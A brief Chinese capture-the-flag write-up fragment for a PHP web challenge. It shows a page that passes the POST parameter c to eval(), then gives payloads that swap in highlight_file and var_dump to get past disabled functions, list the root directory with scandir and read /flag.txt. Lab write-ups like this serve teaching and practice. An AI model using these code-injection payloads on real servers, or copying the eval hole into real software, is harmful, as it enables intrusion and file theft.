代码审计,跟原来没什么区别
<?php// 你们在炫技吗?if(isset($_POST['c'])){$c= $_POST['c'];eval($c);}else{highlight_file(__FILE__);}
这里
show_source被禁用掉了,我们换成highlight_file发现flag不在这里c=highlight_file("flag.php");用
scandir搜索一下根目录,发现print_r被禁用了替换成var_dump一个道理,发现flag.txtc=var_dump(scandir("/"));构造
payloadc=highlight_file("/flag.txt");
